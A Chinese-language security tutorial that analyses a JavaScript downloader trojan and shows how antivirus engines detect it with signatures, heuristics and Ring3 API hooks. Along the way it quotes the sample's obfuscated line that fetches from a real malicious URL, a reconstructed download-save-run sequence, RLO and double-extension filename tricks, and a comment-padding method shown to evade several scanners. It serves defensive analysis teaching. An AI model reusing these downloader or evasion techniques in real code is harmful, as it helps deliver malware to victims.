前言
这次我与大家分享的是我所总结的关于JS下载者脚本木马的分析与防御技术。之所以要选择这样的一个题目,是因为在日常的病毒分析工作中,每天都会遇到这类病毒样本,少则几个,多则几十个(当然了,更多的样本已经被自动分析系统拦截下来了)。而且这类的样本甚至还有愈演愈烈之势,很可能会长盛不衰。JS脚本木马之所以会如此泛滥,与它的编写简单、易于免杀以及难以封堵等特点息息相关。而我们本次的课程也会围绕它的这三个特点展开讲解,从而让大家全面的掌握JS脚本木马的分析与防御技术。
JS下载者脚本木马基本分析方法
利用JavaScript编写出来的下载者木马主要实现两个功能,一是连接某个网站执行下载的操作,另一个就是运行下载下来的文件。当我拿到一个下载者木马样本的时候,完整的分析流程如下:
1、找出下载者木马连接的网站
2、将这个网站加入我们的黑名单,这样我们的产品就可以对该网站实现拦截
3、分析JS木马下载下来的文件,对其进行归类并提取特征
4、将JS木马样本分类,提取特征
5、分析恶意网站归属,结合社工库,找出木马的编写者
这里我们主要讲一下第一步,也就是如何找出木马用于下载所连接的网站。首先我们需要知道的是,JS脚本既然只是一段程序,那么它是依托于什么来运行的呢?不妨在虚拟机里面监控一下,这里我所使用的是ProcessExplorer:
可以看到,在explorer.exe进程下面出现了一个名为wscript.exe的子进程,它位于system32目录下,也正是这个进程,启动了Trojan.js脚本程序。既然找到了JS脚本运行所依托的程序,那么我们就可以利用OD来调试一下,从而找出JS脚本所连接的网址。
首先用OD载入wscript.exe,然后选择“调试”->“参数”,输入JS脚本的路径,再重新载入。然后在UrlCanonicalizeA/W这两个位置下断点,再按F9运行,于是就能够找到下载链接:
或者也可以采用更简单的方法抓取下载链接。我们可以利用Wireshark对虚拟机进行监控,就可以找到对一个网站的GET请求:
接下来可以把我们所找到的网址http://growseo.co.uk/bhdjls上传到VirusTotal来检测一下:
可以看到,一共有8家厂商认为它是恶意网站,那么基本就可以认定它是恶意的了。之后的挖掘工作,大家如果有兴趣的话,可以进一步研究。
JS脚本文件名中的花招
说到JS恶意程序的自我保护措施,我们可以从程序外观以及内在这两个方面来分析。这里所说的自我保护措施,具体来说就是诱惑用户点击,并且还能够躲避杀毒软件的查杀。首先说一下外观,这里我引用的是《病毒木马查杀实战第022篇:txt病毒研究》里面所讲到的方法。由于JS脚本程序的图标一般来说是没办法更改的,所以也就不能够像PE类病毒那样给自己换一个WORD文档或者是PDF文档那样的图标来进行欺骗。因此往往也就只能够在文件名上做文章了。最常见的就是诸如invoice、payment、booking以及schedule这类与财务或者行政相关的词汇。因为企业里面经常与票据以及行程打交道的正是财务或者行政人员,而他们的安全意识往往比较薄弱,比如在e-mail的附件中要是出现了这些文件,往往会毫不犹豫地点开来看一下,于是也就中了黑客的圈套了。因此我希望每一家企业都要对自己的职员进行安全培训,在运行一个文件之前一定要确定它的后缀名是什么,这需要在Windows的设置里面手动的将显示文件扩展名选项打勾。举个例子,有些js类病毒可能会这样命名:invoice-2016-0930.doc.js。由于我们的系统默认是不显示后缀名的,所以大家很可能就会看到invoice-2016-0930.doc这样的文件名,乍一看还以为就是doc文件。但它实际上是js脚本文件,因此我还是建议大家一定要将文件后缀调出来。如果真的是doc、ppt、xls或者pdf这类的文档,并且来源可靠,那么一般来说是比较安全的。当然了,不排除黑客在office文件中植入宏病毒的情况,但是只要不启用宏,那么问题也不大。但是如果黑客创建了一个针对某个漏洞的文档类文件,那这个就比较难通过简单的培训来防范了。唯有及时对相关软件进行更新,才能够有效地制止这类恶意程序。如果接收到未知文件的后缀是exe、vbs或者js,那就千万不要随意点开运行了。
有些时候,尽管大家已经把后缀名调了出来,但是黑客依旧有办法来讲自己的后缀名“真的”改为doc这类看似无害的名称。假设大家看到这样的文件名“高效人士的10个秘诀作者:sj.doc”。通过查看后缀名可以发现确实是doc,而且文件名还挺吸引人,毕竟职场人士都希望自己能够拥有高效的工作效率,那么我相信大家十有八九都会打开来看一看。结果一打开,也就中了黑客的圈套了。其实这个文件依旧是一个JS脚本文件,之所以会出现这样的后缀名,是因为文件名里面插入了RLO转义字符。其实这个文件最初的文件名是“高效人士的10个秘诀作者:cod.js”,(注意doc要反着写)接下来就可以在“作者:”与“cod”之间插入一个RLO转义字符,也就达到了迷惑的目的。但是如果我们能够在文件浏览器中将显示方式设置为“详细信息”,那么也可以看到文件类型是JS脚本,因此大家平时一定要小心谨慎才可以。
JS脚本木马的免杀技术
目前较为高级的杀毒技术主要分为启发查杀以及主动防御这两种。但是事实上,对于安全厂商而言,依旧要倚重于特征码查杀的方式。相关的技术大家可以参考《病毒木马查杀实战第018篇:病毒特征码查杀之基本原理》以及《病毒木马查杀实战第019篇:病毒特征码查杀之编程实现》。简单来讲,特征码查杀有两种方式:
第一种方式是直接对病毒样本进行哈希运算,将哈希值加入病毒库,这样就实现了对病毒的识别,也是目前的云查杀技术所采用的方式。这种方式的缺点在于,即便病毒的变种与上一代相比变化极小,那么哈希出来的结果也是不同的,也就是说这是一对一的关系,有几个病毒就需要计算多少个哈希值,因此效率还是很低的,病毒的免杀还是很容易做的。
第二种方式是在病毒内部提取特征码,只要病毒新的变种不改变这个特征码,那么旧的特征依旧可以识别新的变种病毒。这种特征码查杀的方式一般来说并不会对病毒文件进行全文匹配,而是会结合相应的偏移进行查找。比如我们可以将这次的样本上传到VirusTotal上面来扫描一下:
可以看到,一共有37家厂商报毒,根据各个厂商反馈的病毒名称可以断定,我们这个样本属于JS下载者木马。接下来我们可以选取一个偏移的二进制代码作为这个样本的特征:
比如选取偏移为0x00082B80这个位置,因为这里包含有恶意网址。
对于这种依据偏移加上特征码的查杀方式,如果病毒是PE文件,那么想要做免杀相对来说会麻烦一些。但是对于JS脚本,那就非常简单了。因为黑客完全可以对源代码经过简单的修改,从而使得后续一系列的代码偏移产生改变,于是也就实现了免杀,毕竟之前提取特征的位置的代码已经发生了变化。比如将这个样本头部去掉两行注释,添加到尾部,然后在样本代码的中间再插入两行注释。我们先看一下在经过免杀处理后的样本的对应偏移:
可以看到,尽管在这段代码区域依旧可以看到恶意网址,但是偏移已经发生了变化,网址的位置后移了,尽管这个变化很微小,但也能够使得我们之前提取的特征失效了。
这里我们可以再尝试一下,把文件上传到VirusTotal扫描一下:
可见,这简简单单的改动,就成功地躲避掉了五家杀软的查杀,说明这种方式还是非常有效的。余下的这些厂商之所以还能够检测到这个样本,要么是由于最初的特征码选取得好,使得能够有效地应对变种,要么就是采用了更加高级的查杀技术。
为了对抗黑客的这种免杀方式,有些杀毒引擎会将目标文件切割,比如选取病毒文件头部的1024个字节,选取尾部的1024个字节,再选取中部的1024个字节,针对这几个部分来提取特征码。这样一来,即便黑客在病毒头部加上了注释,但是由于尾部的代码没有改变,因此提取在尾部的特征码依旧是有效的。
但是道高一尺魔高一丈,黑客现在更加常用的免杀手段是在文件头、文件尾和文件中部全都添加注释,这样就能够很有效地对抗杀毒厂商的分段提取特征的手法。甚至黑客还会编写程序,来自动的为JS脚本在多个位置添加各种各样的注释,从而在短时间内生成成千上万的不同的JS脚本。这样一来,就会造成JS脚本病毒的大规模爆发了。可见,这场攻与防的斗争确实是永无止境的。
利用启发查杀对抗JS下载者脚本木马
为了对抗这种利用注释或其它混淆方式进行免杀的脚本病毒,杀毒厂商常常会使用启发以及主动防御的方式进行拦截。
如果大家看过《模仿游戏》就会知道,二战时德军发明了ENIGMA密码机,用于信息的加密。这种采用机械加密的加密方式,如果通过人的手工计算进行解密,那是非常不现实的,即便能够解密,那也失去了时效性。所以当时的科学家以及技术人员就发明了专门的用于解密的机器。也就是说,利用机械来对抗机械,才是打赢那场战争的正确的做法。同样的道理,对于大规模爆发的JS脚本病毒,甚至是一些未知的病毒,我们应当以程序来对抗程序,而不应该通过单纯的手工提特征的方式,一个病毒一个病毒地进行查杀。
我们还是回到刚才我们做好免杀之后的VirusTotal的界面,可以看到,卡巴斯基所报的病毒名称已经有了变化,从之前的“Trojan-Downloader.JS.Agent.mhz”变成了“HEUR:Trojan-Downloader.Script.Generic”。这说明对于这一类的下载者木马,已经被卡巴斯基的HEUR也就是启发技术所识别了。这也就是说,即便杀毒厂商没有这个病毒样本,没有对其进行特征的提取等操作,依旧可以利用启发查杀的方式来应对这些未知的威胁。
所谓启发查杀,指的是通过分析程序指令出现的顺序,或者特定的组合情况以及所调用的函数的参数等属于恶意行为特征,来判断目标程序是不是病毒程序。举个简单的例子来说,假设某个程序在执行后,会将自身加入启动项,再将自身复制到系统目录中,之后删除自身。通过这一系列的可疑行为就基本可断定,它是一个恶意程序了。我们就可以将这些行为编写成特征,这样杀毒软件只要遇到有这种行为的程序,就会将它查杀掉了。由于这些行为需要动态执行才能够看出来,因此很多杀毒软件都会自带一个沙箱,通过未知程序在沙箱中运行出来的结果(日志文件)来判定其干净与否。这种方式属于动态启发的方式。
针对于我们这次的样本,那么只需要采用静态启发的方式就可以了。因为尽管样本中采用了添加注释等免杀方式,但是程序调用了哪些函数以及参数,还是很容易就可以找出来的。一般来说,各家杀毒厂商都会有自己的解密引擎,这个解密引擎其实也是杀毒软件产品的一部分。病毒分析师就可以利用这个引擎所得出的结果,来编写病毒特征,从而实现对这一类的病毒的查杀工作。我在这里需要强调的是,对于很多的JS下载者脚本,也许大家一眼就能够看出来这个病毒的下载链接,也能够一眼看出来恶意程序下载的路径,但是我们的目的是让我们的安全产品识别这类的病毒,这就对开发人员以及病毒分析师提出了两点要求,一是杀毒引擎要写得好,能够识别各种各样的混淆方式,最后得出的结果要能够体现这个病毒的本质。其次要求病毒分析师依据得出的结果,在避免误报的前提下,利用最少的特征匹配到更多的病毒,这就要求分析师具有丰富的经验,知道哪些行为是恶意程序常用的,哪些行为是正常程序常用的。解密前的程序如下(部分):
这里,我会编写一个简单的解密程序,用于去除我们这次样本所采用的混淆方式。程序使用python实现,主要是使用正则表达式进行匹配与转换。解密程序的工作主要有以下几个部分:
1、去除程序中的注释
我们通过之前的分析可以知道,这个脚本程序添加了非常多的注释用于偏移的更改,以躲避特征码查杀。并且所有的注释都是以“/**/”的形式出现的,所以可以使用以下程序进行匹配与删除:
pattern_notes = re.compile(r'/\*{1,2}[\s\S]*?\*/')
s = pattern_notes.sub('',s)
2、去除程序中的双引号和加号
通过分析这次的脚本程序我们还发现,它采用了大量的双引号与加号来增加混淆,比如对于程序中隐藏的恶意网址,是这样写的:
"http:"+"//gro"+"wseo"+".co."+"uk/bh"+"djls"
为了将网址还原,我们可以通过正则表达式匹配双引号和加号的形式,考虑到加号左右还可能出现空格,因此,匹配与删除的程序可以这样写:
pattern_plus = re.compile(r'"[\s\S]{0,1}\+[\s\S]{0,1}"')
s = pattern_plus.sub('',s)
3、将ASCII码转换为字符
通过之前的Wireshark的抓包分析可以发现,程序使用了GET请求来获取恶意网站上的一个程序。而GET字符在程序中也是被隐藏了,写成了如下形式:
ZvxRuxHyel6[QczWiqGlyh0]("G\x45T","http:"+"//gro"+"wseo"+".co."+"uk/bh"+"djls",false);
对于当前的样本而言,我们的目的就是将\x45转换为大写字母E。考虑到通用性,现在很多JS脚本的全文中可能大量采用了这种模式进行混淆,所以我们需要全文匹配,代码如下:
pattern_ascii=re.compile(r'(\\x([0-9][0-9A-Za-z]))')
ret = pattern_ascii.findall(s)
fori in ret:
s= s.replace(i[0], chr(int(i[1],16)))
4、生成最终解密文件
经过上述一系列的解密,余下的程序就能够更好地被识别了(_Gen文件):
当然了,这里面还可以进行进一步的简化,比如还需要消除逗号运算符(这里需要考虑括号嵌套的情况),实现赋值操作等等,从而还原出这个JS文件的本质,最好是能够得到如下结果:
open("GET","http://growseo.co.uk/bhdjls");
send("GET,http://growseo.co.uk/bhdjls");
FsqUblWbyq1.Sleep;
Write("GET,http://growseo.co.uk/bhdjls");
SaveToFile("C:\temp\sHcdwUAWavnEVPab.exe","2");
Close("C:\temp\sHcdwUAWavnEVPab.exe");
Run("C:\temp\sHcdwUAWavnEVPab.exe","0","0");
如何进一步优化,得到上述结果,不是我们讨论的重点,大家有兴趣的话可以自行研究。利用我们这次的代码所得出的_Gen文件,我们就可以编写病毒的启发特征了,也就是病毒分析师的日常工作内容。
对于上述得出的解密文件(_Gen文件),我们需要找出下载者经常使用的关键字或者语句序列,比如第一条特征的编写,可以对一行里面有没有出现GET以及http这两个字符来判断脚本文件有没有执行下载的操作。接下来的第二条特征可以对下载的或者执行的文件类型和路径进行判断,比如可以检查有没有出现%TEMP%以及.exe这两个字符串。只要解密后的内容出现这两条特征,我们就认为它是下载者程序了。程序如下:
download = 0; file = 0;
# 对生成的文件进行关键字的匹配
for lines in generateFile:
if lines.find('GET') != -1and lines.find('http') != -1:
download += 1
elif lines.find('.exe') != -1and lines.find('%TEMP%') != -1:
file += 1
# 依据上述对比结果来判断文件是否为木马
if download and file:
print (fileName + " detected HEUR:Trojan-Downloader.JS.Notes.gen")
else:
print (fileName + " Clean")
这里需要特别强调的是,由于很多正常的脚本文件可能也会实现下载的操作,所以它们也会被上述程序所检测到,为了避免误报,我们还需要再加入一些限定条件。考虑到正常脚本文件一般并不会采用五花八门的混淆手段,而采用了混淆手段的恶意文件在解密前后它的文件大小往往是很不一样的,基于这一点,我们可以在程序中再编写一条特征,用于判定脚本程序是否采用了混淆技术。也就是对比解密前后文件的大小,比如,如果相差十倍以上,就认为混淆技术存在。代码如下:
ori = os.path.getsize(fileName)
after = os.path.getsize(fileName +"_Gen")
if download and file and(ori/after>10):
print(fileName + " detected HEUR:Trojan-Downloader.JS.Notes.gen")
else:
print(fileName + " Clean")
大家从上文可以看出,启发特征的编写其实就是可疑字符串的选取与匹配的工作。可见,只要解密程序编写的巧妙,启发特征选取得比较好,那么利用启发技术是可以对抗非常多的未知威胁的。
利用主动防御对抗JS下载者脚本木马
尽管利用启发查杀的方式已经可以很好地对抗一大批采用相似混淆技术的木马,可是现今的黑客们对于杀毒厂商的手段也是了解的,总能够在编写技巧上采用一些巧妙的手法来对抗启发技术的查杀。而且尽管相比于传统的特征码查杀技术,启发查杀所编写的特征可以应对更多的未知木马。但是这也需要病毒分析师不断地研究最新的脚本木马混淆技术,从而根据这些技术来编写解密程序,进而编写启发特征。因此,对于杀毒厂商而言,即便是采用了启发查杀技术,那么依旧是处于后手的地位。所以,目前来说更为有效地抵御未知威胁的方法,是主动防御技术。
主动防御技术最基本的原理就是对可疑的API函数进行勾取,让这些函数在执行之前由用户决定是否放行,甚至还要判断这些函数的参数是否具有危险性。那么从某种意义上来说,主动防御技术也是一种特征的匹配与识别。拿我们这次的样本来说,经过之前的分析可以知道,恶意脚本程序的下载行为是利用UrlCanonicalize函数实现的,而脚本程序是依托于wscript.exe这个进程来执行的,wscript.exe又是explorer.exe进程的子进程。既然已经弄清楚了这一系列的关系,那么我们就可以依据这个过程来编写主动防御特征。比如我们首先可以对explorer.exe这个进程进行监控,监控其是否调用了CreateProcess函数创建进程,如果创建了,监测创建的进程是不是wscript.exe,如果是的话,则提示用户是否放行。放行之后,再对wscript.exe中的UrlCanonicalize函数进行勾取,如果发现该函数被调用,则认为脚本程序属于下载者,就进行拦截的操作。可见,利用这种思想,不论恶意程序采用了何种混淆加密的方式,只要其本质不变,那么都能够对其进行有效地拦截。
这里为了简单起见,我们可以采用R3层的Inline HOOK技术来钩取CreateProcess以及UrlCanonicalize这两个函数。关于R3层的Inline HOOK,大家可以参考《病毒木马查杀实战第020篇:Ring3层主动防御之基本原理》以及《病毒木马查杀实战第021篇:Ring3层主动防御之编程实现》这两篇文章。
针对于这次的样本,我编写了HookCreateProcess.dll以及HookCanonicalize.dll这两个dll文件。首先需要把HookCreateProcess.dll注入到explorer.exe这个进程里面,用于监控wscript.exe是否启动。如果wscript.exe启动了,而用户又选择放行,那么wscript.exe就会以挂起的方式启动:
CreateProcessHook.UnHook();
bRet = CreateProcessW(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
CREATE_SUSPENDED, // 以挂起的方式建立wscript.exe进程
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
CreateProcessHook.ReHook();
如果不以挂起方式启动,那么wscript.exe就会直接执行脚本程序,这样我们就无法钩取了。接下来我们再把HookCanonicalize.dll注入到挂起的wscript.exe进程中,最后再恢复这个进程。那么此时就提示用户,发现了下载行为,是否放行。如果用户选择拦截,那么程序就会阻止下载行为的执行,并且关闭wscript.exe进程,这样也就实现了主动防御。
只要大家理解了R3层的Inline HOOK的原理,我们就可以把这种思想运用在内核编程上面。比如编写一个SSDT的Inline HOOK,这个其实也很简单,个人感觉它要比R3层的更加有效,也能够更加方便地对相关操作进行拦截。
小结
我们这次通过一个JS下载者脚本木马的实际例子,为大家讲解了传统的特征码查杀,启发查杀以及主动防御技术。尽管后两个都要比特征码查杀更加先进,但是出现误报的几率还是很大的。启发查杀以及主动防御的规则如果写得太严格,往往会出现漏报,而太松的话,又容易出现误报。因此想要编写出优秀的规则,还是要建立在对于大量病毒的研究的基础上,找出他们的共性,还原出它们的本质。在我看来,这场与黑客的战争,还是非常具有挑战性的。这也正应了那句话:在攻与防的对立统一中,寻求技术的突破。希望未来能有更多的朋友,投身到安全领域,在这场没有硝烟的战争中,贡献自己的力量。
配套视频以及相关文件百度云盘下载地址:https://pan.baidu.com/s/1c2fwTBq 密码: yuhb
视频解压密码:www.52pojie.cn
《从苏宁电器到卡巴斯基》终稿完整版,请访问
https://user.qzone.qq.com/3149487460/blog/1494822165